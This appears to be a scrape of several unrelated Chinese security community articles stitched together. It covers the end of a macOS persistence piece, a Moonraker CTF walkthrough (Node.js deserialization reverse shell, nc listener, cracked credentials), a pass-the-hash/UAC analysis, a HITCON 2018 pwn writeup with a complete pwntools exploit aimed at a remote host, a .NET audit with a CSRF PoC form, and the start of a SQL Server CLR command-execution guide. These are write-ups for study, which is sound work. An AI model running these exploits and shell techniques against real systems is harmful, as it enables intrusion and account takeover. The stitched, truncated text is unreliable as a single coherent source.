LoginHooks和LogoutHooks目前已经很少使用了，但在macOS
Mojave中仍然是实现驻留的一种很好的方法。从名字就可以看出，当用户登入或登出的时候这些机制就会运行。
写这些hook很简单，但是检查这些文件是否存在也很简单。下面的命令就可以返回是否有LoginHook或LogoutHook值的结果：
`sudo defaults read com.apple.loginwindow`
如果有，就表明这是一个到该脚本的命令或路径，然后考虑是否进一步调查。
# At Jobs
`at
jobs`的知名度就相对低一些了。但是运行一次后，虽然默认是不启用的，但是也有一些方法可以在系统重启时运行代码。单次使用可能并没有什么问题，因为`at
jobs`每次结束都会被重写，但许多用户尤其是没有经验的管理员可能并不会注意到jobs。
可以通过枚举`/var/at/jobs`目录来检查计划任务的`at jobs`。Jobs的前缀有一个字母`a`，名字为十六进制风格，如下图所示：
# Emond
在OSX 10.5 Leopard中，苹果引入了一种新的名为emond的登入机制。看起来emond并没有完全开发完成就被苹果公司放弃了，但在macOS
10.14 Mojave中仍然是可用的。
2016年，研究人员James
Reynolds对emond和其能力进行了综合型的分析，并得出结论：在perl脚本中登入、运行命令或发送邮件很容易，那么为什么我要用emond而不是脚本呢？
而且很多mac admin可能并不知道该服务，但是对攻击者来说，管理员不了解的驻留机制或许是最好的方法。
监测emond的恶意使用并不难，只需要运行以下脚本就可以了：
`/private/var/db/emondClients`
管理员也可以很容易地进行检查来查看攻击者是否在该位置放置了恶意文件：
因为emond在很多环境中是没有合法使用的理由的，所以emondClient目录中找到的文件都是可疑的。
# 结论
从上面的分析可疑看出，在macOS中完成驻留有很多的方法。因为管理员应该多了解一些macOS中驻留的方法并及时发现恶意内容，也可以使用一些安全产品来检测和防止macOS恶意软件驻留。
<https://www.sentinelone.com/blog/how-malware-persists-on-macos/> | 社区文章 |
# Moonraker靶机渗透测试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近日闲的无聊就找了个靶机玩玩，技术太菜，第一次写这个渗透测试，写的不好还请多多指教。
## 靶机搭建与下载
Moonraker靶机下载地址:<https://pan.baidu.com/s/1Hb8NgDjJiFuygeDrAaWVOA>提取码: 22ja
Monraker靶机ip: 192.168.56.150
kali攻击者ip : 192.168.56.1
说明: 获取目标主机的root权限并读取目录中的flag.txt文件
## 知识点
nmap
dirb
Burp修改Cookies
CouchDB登录凭证
Fauxton web页面的登录
apache2日志的访问
Node.js反序列化漏洞利用
shell的交互
john hash破解
## 开始测试
首先第一步对目标靶机网络端口扫描的信息收集
`nmap -sV -p- -A 192.168.56.150`
扫描之后发现目标开放了22(ssh),80(http),3000(http),4369(epmd),5984(couchDb)等端口。目标开放了http端口，用web浏览器打开查看
打开页面是一个视频文件，放完之后跳到另一个页面。
然后查看了页面的源代码没有什么发现可用信息，于是使用dirb去枚举目标主机的访问目录
`dirb http://192.168.56.150`
看见一个robots.txt觉得会有些重要信息，结果一访问什么都没有。在访问services目录中看见了一个链接,其实这个也可以在上面那个页面进去也行，主要dirb没扫出更多敏感词。
打开访问，如图所示，一个基于网络服务的查询
试了一下用带图片标记去查询表单
点击提交后显示了查询的信息
这个点在这我卡了很久，然后是要查看apache2服务的访问日志
使用命令查看日志
`tail -f /var/log/apache2/access.log`
在日志中发现了新的页面，在浏览器打开，但是有一个back的链接,点击看看会带我们去什么页面
引导进入新的页面
在新的页面里有两个链接里发现了一些重要信息
打开CouchDB Notes在这个页面得到了关于用户的账号密码提示，这个对我们来说是很重要的。
账号密码提示
username: jaws
password: 女朋友名字+x99的组合
我哪知道他女朋友是谁呀，只有百度或者谷歌jaws的女朋友是谁咯。
然后根据提示信息，接下来就应该要查看couchdb这个了，这个怎么打开呢，我们在扫描端口时是开放了一个5984端口就是用来访问这个的，于是打开浏览器访问
发现不对劲，加端口不能直接访问，于是在请求一下度娘
再次访问
`http://192.168.56.150:5984/_utils`
使用jaws账号密码登录
username: jaws
password: dollyx99
登录成功，发现3个数据库中的文档，其他两个打开说不是admin
在links里发现写信息，访问提示的目录
其中在HR这个目录发现了重要的信息
访问这个5界面可以得到4个账号和密码
我也尝试了这些账号密码去ssh爆破，都无果，难道这些账号是用来混淆的?
其中hugo这个账号正是我们想要的，因为我们在这个页面发现是有node.js反序列化漏洞的
接下来就访问Node.js这个框架.
`http://192.168.56.150:3000`
username: hugo
password: TempleLasersL2K
登录成功后，显示一条信息。
然后就想着访问这个目录，发现访问不了，还以为要get,post请求然而都不是。最后F12看了下，发现了Cookies中的秘密(为什么会一开始不会看这个呢,就是因为node.js反序列化这个漏洞还不知道.手动滑稽)
接下来使用burp抓包，注意要抓登录的包，然后先发送到repeater,g根据右边setCookies提示设置
开始利用,因为这个应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数.由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值从而来以利用此漏洞.
参考[Node.js反序列化漏洞利用](https://www.anquanke.com/post/id/85458)
使用[nodejsshell.py](https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py) 用来生成反向shell的payload
再次生成反序列化的 payload
进行 Base64 编码后,然后在 Cookie 头中加入 Payload，向服务器发送请求.
在向服务器发送之前首先启动监听端口，与生成的payload端口一致,然后就会成功反弹.
`nc -lvp 1337`
为了方便shell,使用python进行shell交互
`python -c 'import pty; pty.spawn("/bin/bash")'`
找了许会，没发现有什么重要目录，最后再/var/mail中找到了四个邮箱，但是访问说提示没有权限，看来是找对了，接下来就得找找信息了或者怎么提权了。
在了解CouchDB的配置后，会发现默认的安装目录为/opt/couchdb目录下，所以读取他的配置文件看看成功得到密码.
`tail /opt/couchdb/etc/local.ini`
username: hugo
password: 321Blast0ff!!
切换用户已hugo身份登录，并读取hugo文件
信息中提到包括root的密码，又告诉我们在root密码后面+VR00M,和一段hash值，复制到文件进行hash破解
利用john工具爆破
username: root
password: cyber
然后再次以root身份登录在后面加VR00M,找到flag.txt并读取
看到最后提示一个目录访问
看来是结束了,作为单身狗的我又被成功的虐了一次.
jaws和dolly最后幸福的在一起了.
## 总结
一开始做这个靶机时经常掉坑，还是花了几天时间才做出来的，太菜了，留下了没技术的眼泪，最大的坑就是在node.js修改cookies迟迟搞不定。不过收获还是挺大的，学到了很多的知识，以后还得多多训练训练，还请大佬们多多指教. | 社区文章 |
# 【技术分享】从hash传递攻击谈相关Windows安全机制
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：existX@Syclover（三叶草安全技术小组）
预估稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
**path-the-hash,中文直译过来就是hash传递，在域中是一种比较常用的攻击方式。**
在网上所找到的资料，大多数是介绍如何实现此类攻击，但对于它背后所隐藏的关于Windows安全机制的一些知识，却鲜有探讨。 **本文的目的就是从pass-the-hash这一古老的话题切入，由攻击过程中Windows的行为引出它背后的安全机制，让大家对Windows有更深入的了解。**
**攻击方式**
通常来说，pass-the-hash的攻击模式是这样的：
**获取一台域主机高权限**
**利用mimikatz等工具导出密码hash**
**用导出的hash尝试登陆其他域主机**
下面简单演示一下一般的攻击方法：
**mimikatz抓取密码**
**传递hash**
可以看到，已经能够访问到远程的机器了。
**一个试验引出的问题**
虽然pth是一个比较老的套路了，但实际上关于这个话题能谈到的还有很多。其中值得注意的包括微软发布的补丁kb2871997。据说这个补丁能够阻止pth，并且还能阻止mimikatz抓取明文密码。
有意思的是，事情并不是那么简单，我们做一个实验：
**攻击机:192.168.1.109**
**windows server 2008 r2**
**靶机:192.168.1.103**
**windows server 2008 r2**
这里有两点需要注意，一是pth所使用的账户User并不是RID为500的账户，但它是本地管理员组的成员，二是这并非在域环境中进行实验，所有的账户都不是域账户
首先在靶机上查看一下补丁情况
可以看到，没有安装kb2871997
然后在攻击机上传递hash
提示拒绝访问
接下来我们再尝试以RID为500的Administrator用户pth，
这下成功了。那如果我们在域环境下，使用域账户情况又如何呢？
这次使用域账户User，User是一个RID非500的域管理员组成员
从上面的实验中我们可以得出一个结论：即便没有打KB2871997，windows server 2008
r2依然阻止了RID非500，也即非内置管理员账户的远程登陆，但这条规则对于域账户并不适用。下面我们来深入探究原因。
**UAC与令牌完整性**
微软在文章[Description of User Account Control and remote restrictions in Windows
Vista](https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows-vista)中提到：
When a user who is a member of the local administrators group on the target
remote computer establishes a remote administrative connection…they will not
connect as a full administrator. The user has no elevation potential on the
remote computer, and the user cannot perform administrative tasks. If the user
wants to administer the workstation with a Security Account Manager (SAM)
account, the user must interactively log on to the computer that is to be
administered with Remote Assistance or Remote Desktop.
根据微软的描述，当一个本地管理员组的用户远程登陆时，它不是以一个“完全”的管理员身份登陆。什么是“完全”呢？
在[Pass-the-Hash Is Dead](https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/)（强烈推荐！）中，有这么一段话：
for any non-RID 500 local admin account remotely connecting to a Windows
Vista+ machine, whether through WMI, PSEXEC, or other methods, the token
returned is “filtered” (i.e. medium integrity) even though the user is a local
administrator. Since there isn’t a method to remotely escalate to a high-integrity context, except through RDP (which needs a plaintext password unless
‘Restricted Admin’ mode is enabled) the token remains medium integrity. So
when the user attempts to access a privileged resource remotely, e.g. ADMIN$,
they receive an “Access is Denied” message despite technically having
administrative access. I’ll get to the RID 500 exception in a bit
以作者的观点来看，返回的令牌被过滤了，它仅有一个“中等完整性”。也就是说，这个令牌不是“完全”的。这里的完全，就是指令牌的完整性级别。
**完整性级别**
“……完整性级别能够修改自主访问行为，以便区分以同一用户身份运行，并被同一用户拥有的不同进程和对象，从而提供在同一用户账户内隔离代码和数据的能力。强制完整性级别（MIC,mandatory
integrity
control）机制通过把调用者关联到一个完整性级别，让SRM能够得到调用者自身属性的更详细信息。它给要访问的对象定义了一个完整性级别，从而指出了要访问该对象的调用者必须拥有的信任信息。”
——《深入解析windows操作系统 第六版（上册)》.P.487
以我的理解来讲，当一个用户登陆到windows操作系统中时，所属他的进程在访问不同的对象时，操作系统必须确认它有访问此对象的权限。通过赋予完整性级别这一属性，各对象能够被区分开，并能控制访问的行为。完整性级别是通过一个SID来指定的，系统使用了五个主要级别：
既然以SID的方式定义了完整性级别，那么它就应该存在于用户的令牌中。一个访问令牌的基本结构如下：
实际上，代表完整性级别的SID包含在组SID中。一个进程或线程拥有一个令牌，当它请求访问一个对象时，Windows内核中的SeAccessCheck函数会进行完整性检查。如果它的完整性级别等于或高于请求的对象，它就可以对此对象进行写入操作。但当一个进程或线程想要打开另一个进程或线程时，它不仅要满足完整性检查，还要拥有DACL的授权。
进程与对象的访问权
**UAC**
UAC大家应该都很熟悉。简单来说，UAC的目的就是让用户以标准的权限，而非管理员权限来执行操作。它能够在一定程度上阻止恶意软件的运行。在我们的印象中，UAC似乎只是对本地使用计算机进行了限制，但事实上，微软也考虑了UAC对远程登陆的安全限制。在微软的知识库文章中，它认为应该保护本地管理员免受来自网络的攻击，因此对网络施加了UAC限制。同时，微软也提到了：
A user who has a domain user account logs on remotely to a Windows Vista
computer. And, the domain user is a member of the Administrators group. In
this case, the domain user will run with a full administrator access token on
the remote computer, and UAC will not be in effect.
在我们的实验中，由于UAC的限制，我们无法以一个高完整性的令牌来登陆远程主机，因而pth攻击并不会成功；而在域环境中，我们以管理员组身份远程登陆时，将会得到一个高完整性的令牌，UAC对我们的行为并不加以限制。文章中也提到了解决问题的方法，通过设置LocalAccountTokenFilterPolicy的值为1来取消UAC的限制。这个键默认并不存在，需要在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem下手动创建。顺便一提，UAC的设置就保存在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem中。通常我们要更改UAC设置并不需要直接修改注册表，而是通过控制面板中的更改用户账户控制设置来更改。下图即为更改用户账户控制设置：
可以看到有四个等级：最高一档（始终通知）、第二档、第三档、最低一档（从不通知）。不同的等级将会影响到注册表中键的值：
回到正题。我们来验证一下微软的方案：
在注册表中HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem下新建一个DWORDLocalAccountTokenFilterPolicy并将值设置为0
**pass-the-hash**
**将LocalAccountTokenFilterPolicy值设置为1，重复攻击过程**
没有问题，说明的确是由于令牌被UAC过滤掉导致无法远程登陆。这里我想再介绍两个概念： **受限制的令牌和已过滤的管理员令牌** 。
**受限制的令牌**
受限制的令牌是通过windows的模仿机制创建的来源令牌的一份拷贝。至于什么是模仿这里暂且不表，感兴趣的同学可以自行google。受限令牌的特征就是能够作为复制品修改源令牌而不对源令牌造成影响。它的修改可以是如下：
**从该令牌的特权数组中删除一些特权**
**可以标记某些SID 为仅仅拒绝（deny-only）**
**可以将SID标记为受限制的（restricted）**
第二点和第三点实际上是对特权做出了限制，但这样的限制并不是直接将特权删除，因为删除特权可能会导致特权覆盖，简单来说就是此令牌不具有某些特权，但如果它的组SID被授予某些权限，那它也将具备这些权限。
**已过滤的管理员令牌**
UAC会使用受限制的令牌来创建已过滤的管理员令牌。一个已过滤的管理员令牌具有以下特性：
其完整性级别为“中”
管理员SID和管理员类的SID被标记为“仅仅拒绝”
除Change Notify、Shutdown、Undock、Increase Working Set和Time Zone外的特权都被移除
前面我们提到返回的令牌仅有一个“中等完整性”，是由于它是一个已过滤的管理员令牌。根据微软在Vista以后的默认策略，持有此令牌的用户将不得进行远程管理。
**总结**
经过以上的分析，我们可以大概明白为什么pass-the-hash在不同环境下有着迥异的行为。说的浅一点，就是UAC在作祟；深入探讨的话，则能通过pass-the-hash管窥Windows的庞大安全机制。
受限于篇幅及主题的限制，我无法将文章中某些出现的概念进行深入地介绍，希望本文能够抛砖引玉，让大家对Windows操作系统进行深入地研究与思考，看待某些安全问题时能够有更新奇的理解。
**作者：Exist@Syclover（三叶草安全技术小组），新浪微博**[
**@三叶草小组Syclover**](http://weibo.com/sycloversyc?is_hot=1) **,欢迎交流分享**
**参考文章**
[1] Mark Russionovich,David A.Solomon,Alex lonescu.《深入解析Windows操作系统 第6版
（上册）》[M] .第6版.潘爱民，范德成
[2]Microsoft.《Description of User Account Control and remote restrictions in
Windows Vista》.<https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows-vista>
[3]harmj0y.《Pass-the-Hash Is
Dead》.<https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/>
[4]Micrsoft. 《description-of-user-account-control-and-remote-restrictions-in-windows-vista》.<https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows-vista> | 社区文章 |
# 记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这道题在比赛中并没有解出来，而是在赛后才解出来，不过这题也花了我挺长时间的
做完之后不得不感叹hitcon的出题质量非常之高
## 正式分析
首先我们来看下main函数
前面有几个函数
setup函数是常规的初始化，读了/dev/urandom的四个字节作为seed
init_papers 函数是初始化paper，从papers.txt文件里面读取
然后循环里面有4个功能，前两个只是简单的打印内容，没什么有用的地方
重点分析的是后两个功能
### schedule
这个函数会循环读取两个数字，然后这两个数字分别是第几个schedule和第几个paper的意思
schedule_ok函数会判断每个paper是否只有一个，还有全部schedule是否填满
1-3 代表第一个场次演讲的paper
4-6 代表第二个场次演讲的paper
7-9 代表第三个场次演讲的paper
每个场次的演讲会同时进行
这个是程序输出的示例
### start
首先判断了schedule_ok，只有ok了才能继续
下面开始有一个init_audience
创建了997个普通的audience，还创建了两个NiceAudience 最后创建了You
这些创建都使用了c++面向对象的构造函数，NiceAudience是继承普通audience的，You是继承NiceAudience的
回到start函数
这里cur_time从0到2，代表的当前的场次
下面
(*(void (__fastcall **)(Audience *))(*(_QWORD *)aud[i] + 16LL))(aud[i]);
这里是调用了刚刚创建的Audience对象的第三个函数，我们可以去看下虚函数表
圈起来的就是被调用的函数
普通的Audience只是随机选一个，范围从0到2
NiceAudience会根据schedule来选择，大概的策略是，有Orange，Angelboy，david942j这三个人的讲座的话，就会尽量选择这三个人的，例如这一场只有Orange的，那它肯定会选Orange，如果有Orange，Angelboy两个人的，就会随机选择这两个中其中一个
You 会根据输入选择
你会有三次听演讲的机会，每次只能从3个人中选一个，而选择的东西是根据你schedule来排的
再回到start函数
这里创建了三个线程，调用的是talk函数，传参传的是paper
**这里总结一下start函数的功能**
1. 判断schedule是否符合规范
2. 让997个普通Audience随机选择3个中的一个演讲，让2个NiceAudience根据schedule来选择演讲，让你从输入读取选择演讲
3. 启动三个线程，线程调用talk函数，传参传的分别是该场次 第一、二、三个演讲，这里启用线程大概的意思是这三个演讲是同时进行的
### 接下来分析talk函数
有几个函数，我们一一来分析
**set_variable**
这里是将3000000写入到fs:0FFFFFFFFFFFFFF60 这里代表的是演讲的总时间
fs:0FFFFFFFFFFFFFF68h 写入的是paper的指针
然后下面一个循环，找出当前的演讲是属于第几个演讲，顺序可以在papers.txt里面看
再下面一个循环是找出当前演讲属于当前场次的第几个
这些fs:xxx是用来保存当前线程的变量的，是线程安全的
**do_talk**
第一行strlen的长度是演讲的描述的长度
david942j
All in one shot - One Gadget RCE
All you need to know is: $ gem install one_gadget && one_gadget /lib/x86_64-linux-gnu/libc.so.6
就是All you need…..这部分的长度，然后除以时间，得出打印每个字符和下个字符之间的间隔，然后每次打印完会减掉一点总时间
**qa_time**
首先执行times_up，判断是否还剩余时间
这里可能会有个疑问，上面不是用长度除以时间，然后每打印一个字符就减去一点时间，理论上打印完全部字符之后时间就会没有了，为什么这里还能判断有剩余时间呢？
回答就是，长度不一定能整除时间，有些会剩余一些时间的
而剩余时间的有
Orange
A New Era Of SSRF
The new meaning of SSRF - Special Super Rare Food! Yummmmmmm..
Angelboy
Play with File Structure - Yet Another Binary Exploit
Too easy, even babies know how to exploit with file structure.
Jesmon
Warrior of Salvation
Kid, try my Judgement of the Blade.
那么我们为什么要选择有剩余时间的呢？
原因就是整个程序有漏洞的地方，就出现在response那里
首先
v0 = (const char *)(*(__int64 (__fastcall **)(_QWORD *))(*aud[i] + 24LL))(aud[i]);
这里会调用ask函数
然后将返回值，也就是buf的地址当作参数传递到response函数里面
**response**
我们再来分析response函数
红色框圈起来的就是初始化的部分，但是我们看看v2 v3，是rax寄存器保存的值
但是很明显我们没有传rax进来，那么v2 v3是在哪里呢？
这里fs:0其实和上面的fs:0FFFFFFFFFFFFFF60处于同一块内存区域
属于保存线程内存变量的区域
strncpy这里就是程序的漏洞，可以覆盖fs:0的值
而fs:0比较特殊，因为这个地方储存的值是指向自身的，这跟TLS的机制和实现有关，具体可以去看网上别人的教程
简单的来说就是，假如说我利用strncpy将fs:0的值覆盖为0xdeadbeef
下次调用
mov rax, fs:[0]
的话，rax得到的值就是0xdeadbeef
下面这里v7 和v8 其实也是fs:[0]
这里 (*aud[i]+8) 调用的是puts
而 (*aud[i]+32) 调用的是 readn
所以其实这里我们能任意写：
将fs:[0]的值修改为我们要写的地址加0x90，这样就能在readn那里进行任意写
但问题是我们不知道任意一个地址
因此我们可以利用第一次的puts来leak出 fs:[0]的地址
利用readn来修正被修改的 fs:[0] 地址
fs:[0]与libc的距离是固定的，但是要根据具体环境确定，与线程栈的距离也是固定的，这个不会变化
当我们第二次进入这个response函数的时候，我们可以将fs:[0]设为当前函数栈的返回地址那里，可以leak出程序的基址
之后减去偏移，因为我们这个时候控制了栈，再利用ROP和程序内部的函数，leak出一个libc的地址，我们就能知道fs:[0]与libc的距离是多少
得到距离之后，我们在第二次进入response函数的时候，再把fs:[0]设为当前函数栈返回地址，修改为one_gadget，直接getshell
而怎么才能第二次进入response函数呢？
这里就和一开始的schedule有关系了
进response需要演讲的内容的长度不能整除3000000，满足这个条件的有
Orange
Angelboy
Jesmon
上面介绍过，NiceAudience会尽量选择Orange和AngelBoy的，还有一个尽量选择的david942j 能整除
因此我们可以制定这样一个schedule
1. 三个能整除的
2. 第一个为david942j， 第二个为随便一个能整除的，第三个为Jesmon
3. 第一个为随便能整除的，第二个为Orange，第三个为Angelboy
第二次是一定能进response的，第三次就要靠运气了
## payload
下面是正式利用的payload
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc.so.6')
#e=ELF('./libc.so.6')
if debug:
p=process('./hitcon',env={'LD_PRELOAD':'./libc.so.6'})
gdb.attach(p)
else:
p=remote('13.115.73.78', 31733)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
order=[2,3,5,1,8,9,6,4,7]
# schedule
sl('3')
for i in range(9):
for q in range(4):
ru('----------------------------------------')
sl(str(i+1)+' '+str(order[i]))
ru('Exit')
sl('4')
# choose any one in first round
ru('2. ')
sl('1')
# choose Jesmon in second round
ru('2. ')
sl('2')
ru('Any questions?n')
#raw_input()
# partial write and leak address
se('x71'*93)
libc=u64('x70'+ru('n')[:-1]+'x00x00')
if debug:
base=libc+0xB5E890
else:
base=libc+0xB5E890-0x5A8000
ru('May I know your name please?')
se('a'*31) # repaire
ru('Which room you'd like to go?')
sl('2')
ru('Any questions?n')
stack=libc-0x1002988
se('a'*91+p64(stack-0x70+0x100))
pbase=u64(ru('n')[:-1]+'x00x00')-0x23fc #get program base
ru('May I know your name please?n')
#payload=p64(pbase+0x2ea3)+p64(pbase+0x203EF8)+p64(pbase+0x1160) #use it to leak rand address
payload=p64(base+0x4f322) #one gadget
se(payload)
print(hex(base))
p.interactive()
## 总结
hitcon的题目质量真的高 | 社区文章 |
### 0x00 概述
本篇为.NET的代码审计思路，所以这里就详细的呈现一个完整的.NET程序审计过程，因为是审计思路，可能文中不会涉及到漏洞利用相关。.NET的程序一般为单入口，所以审计起来算是比较轻松的。因为程序为收费软件，为了避免不必要的麻烦，就不透露是什么程序了。
### 0x01 系统重装
在install/default.aspx中，我们找到第一行，这里是引用DLL文件程序的位置。
找到DLL的位置，DLL的位置为Helpdesk.Install._Default,我们打开它。
首先程序获取了我们提交过来的数据库各个参数，随后进行了if为空判断，如果不为空则进入了下面else
if判断，这里判断了目录下的lock.txt文件，如果存在，则会请求删除，无法进行下面操作，很显然，这里的文件是我们不可控的，安装后我们是没有办法进行重新安装的。
### 0x02 SQL注入
在登录处，我们还是用相同的方法找到登录入口函数，这里对我们的帐号和密码进行了处理，我们跟进Login函数
来到Login函数，我们可以看到这里并没有像我们想的那样对帐号密码进行拼接，而是用了预编译，那么，这里就不存在SQL注入了。在经过其他地方的审计后，发现这套系统大多数都用了预编译来防范SQL注入。
其实，很多的Web程序在前端会有很好的防范XSS或者SQL注入此类常规漏洞，但是在后端，就不会像前端的防御高了。在后端，我们也是可以找到SQL注入的。如下图，这个地方就没有进行预编译，和在PHP中一样，我们可以看到熟悉的SQL语句拼接，而且没有任何的过滤操作，这个SQL注入属于盲注，在ExeDataSet()函数方法中进行处理，很遗憾，这个函数也是没有对语句进行处理。
### 0x03 密码重置
在找回密码处，这个系统只允许邮箱找回密码，当我们输入邮箱并点击密码重置后，会调用这个btn_getpassword这个函数，这个函数对我们提交过来的参数进行了处理，我们跟进SendCode()这个函数方法，看看它都做了什么处理。
来到SendCode函数，SendCode函数对我们的email进行了处理，用email来查询注册帐号的信息并赋值给reader变量。
我们继续往下看，这里对从数据库中读取出来的用户信息进行了变量的赋值操作，接下来我们看这些变量都进行了什么样的操作。
在对变量赋值完后，这里进行了URL和变量的拼接操作，这个就是完整的重置密码连接了，Str2我们知道是用户的Uid值，那rand是什么呢？我们跟进GetRand()函数看看
这个就很明显了，这个是一个获得随机化数的函数，用了C#自带的随机函数Random(),从上面传入的参数来看，随机了6位整形数字，范围为100000-999999。我们下面来看下，这个重置密码的连接是否为一次性的，我们是否可以暴力重置密码。
我们可以看到，这里把重置密码的uid和code插入了数据库，有效时间为48小时，我们跟进修改密码的chagepwd中去看下处理逻辑。
我们输入密码后，点击重置按钮后，会调用btn_submit_Click()函数，很遗憾，这里对我们修改次数进行了限制，如果不能在5次中猜对code，那么就没有希望了。
### 0x04 CSRF
这个是后台管理员添加用户的表单，当我们把需要添加帐号的用户名和密码提交过来的时候，函数add_Click()进行处理，我们跟进AddUser()函数
来到AddUser()函数，这里对用户名，头像进行了赋值处理，最后调用了AddUser()方法函数，我们跟进这个重载函数
我们可以看到函数对参数进行了预编译后插入了数据库，整个过程没有csrf验证，所以我们可以构造SCRF表单，从而造成CSRF漏洞
我们只需要构造以下表单即可达到CSRF攻击的目的
<html>
<!-- CSRF PoC -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://demo.org/xxxxxxxx/admin/Users_EditUser.aspx" method="POST">
<input type="hidden" name="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" value="" />
<input type="hidden" name="__VIEWSTATEGENERATOR" value="E0800D22" />
<input type="hidden" name="username" value="usertest" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="image_small" value="" />
<input type="hidden" name="image_big" value="" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="department" value="" />
<input type="hidden" name="displayname" value="" />
<input type="hidden" name="tel" value="" />
<input type="hidden" name="office" value="" />
<input type="hidden" name="title" value="" />
<input type="hidden" name="mobile" value="" />
<input type="hidden" name="staffcode" value="" />
<input type="hidden" name="sex" value="" />
<input type="hidden" name="fax" value="" />
<input type="hidden" name="intro" value="" />
<input type="hidden" name="add" value="?·»?Š " />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
### 0x05 上传
我们来看下上传是否存在漏洞，我们在上传图片文件后，程序调用了下面这个函数，我们跟进SavePicture()函数，看下是怎么处理图片的
SavePicture()函数在获取到图片文件和其宽度和高度后，调用了SaveTempPicture()函数，文件数据进入了SaveTempPicture()函数，我们跟进SaveTempPicture()函数
来到SaveTempPicture()函数，函数进行了文件名的获取并且用时间进行了拼接赋值给了str变量，最后保存文件到tmp文件夹下并返回了路径
我们跟进GetFileSavePath()函数，这个函数获取了uploads目录下的当前日期目录，最后我们看下MakeSmallImg函数，
MakeSmallImg函数把存放在tmp目录下的文件和uploads文件下的目录进行了处理，我们可以看到这个函数把tmp目录文件里面的图片文件进行处理后放到了uploads文件里面，最后上传的完整的路径为uploads/2018-03/1803171724_test.aspx。
从上面的分析，我们可以知道，程序没有登录判断，所以可以前台直接上传，上传的文件名是我们可以控制的，程序并没有做任何的限制，但是这里程序会对我们上传的文件进行图片再次处理，所以如果不是图片文件的话，会爆出错误，这个就和PHP中的GD库有点像了.所以我们需要对图片进行处理后再上传。
### 0x06 越权
这个程序存在多处越权，无论水平还是垂直越权都存在，那么这里拿一处来说明。
用户档案更改密码处，在我们获取到自己用户信息的时候，程序会返回用户的个人信息到前端，在我们填写完所有信息的时候，点击更新信息时，调用了Submit_Click()函数，我们跟进这个函数
可以看到，这里面的变量都是我们可以控制的，并没有权限相关判断，在获取了userinfo的信息后，直接进入了数据库，只要我们控制了userid和username，那么就可以修改任意用户的密码了，如我们用户名为test和userid为2用admin的userid为1替换，那么只需要修改userinfo这个变量的这两个字段就可以了。
修改事例如图
### 0x07 结语
以上就是这套.NET程序的完整代码审计过程了，可能还有地方未涉及到，但是整体思路是这个样子的，.NET程序和JSP程序比较像，漏洞都是比较少的。在.NET程序中，最容易出现问题的就是权限问题，所以审计时可以多多关注权限这个点。 | 社区文章 |
# 【技术分享】CLR在SQL Server中的利用技术分析
|
##### 译文声明
本文是翻译文章，文章来源：360网络安全响应中心
原文地址：<http://mp.weixin.qq.com/s/EwCwwjzP1lzNGNaihFgGww>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 前置知识**
CLR：通用语言运行平台（Common Language
Runtime，简称CLR）是微软为他们的.NET的虚拟机所选用的名称。它是微软对通用语言架构（CLI）的实现版本，它定义了一个代码运行的环境。CLR运行一种称为通用中间语言的字节码，这个是微软的通用中间语言实现版本。
存储过程：是一种在数据库中存储复杂程序，以便外部程序调用的一种数据库对象，它可以视为数据库中的一种函数或子程序。
**0x01 测试环境及使用工具**
**操作系统：** Windows Server 2012 Datacenter
**数据库版本：** SQLServer 2012
**Framework版本：** v4.0.30319
**开发平台：** VisualStudio Professional 2015(14.0.25431.01 Update 3)
**使用工具：** winhex
**0x02 通过CLR在SQL Server中执行代码简述**
**利用思路：** 使用VS创建SQL Server项目，使用公共语言运行时（CLR）来创建自定义存储过程，SQL
Server将允许执行任何受CLR支持的编程语言代码，比如C#。
**限制条件：**
需要创建自定义存储过程的能力。
SQL Server上启用CLR。
并且要求SQL Server服务帐户具有执行命令/代码的必要权限。
**0x03 通过CLR在SQL Server代码执行实现**
**1、CLR代码执行方式**
创建CLR有两种方式：
①使用DLL文件进行创建
CREATE ASSEMBLY assembly_name from ‘dll_path’
②使用文件16进制流进行创建
CREATE ASSEMBLY assembly_name from 文件十六进制流
第一种方法，需要上传我们所需要的存储过程DLL，攻击门槛高。相比之下第二种方法，只需要一个注入点就可以了。所以本文重点讨论第二种方法的CLR攻击实现。
**2、详细测试步骤**
①在VS 2015中创建CLR C#项目：
图1 创建CLR项目
新建一个SQL Server的数据库项目，此模板需要在VS安装时勾选SQL Tool选项。
②设置项目属性：
图2:项目属性设置
项目属性设置分为两部分：
在项目设置中，选定目标SQL版本，此处我选定的为SQL2012。
在SQLCLR中设置权限级别UNSAFE，以及选定所用语言为C#。
③添加新建项
图3：新建项目
右键项目，点击添加→新建项→SQL CLR C#→SQL CLR C#存储过程。
④添加代码
关键代码为在SqlStoredProcedure1 ()内，代码逻辑很简单，创建一个cmd进程执行 whoami /user
并把结果写入到本地txt文件中。
⑤进行编译，解压出我们所需要的16进制流数据
图4：解压dacpac文件
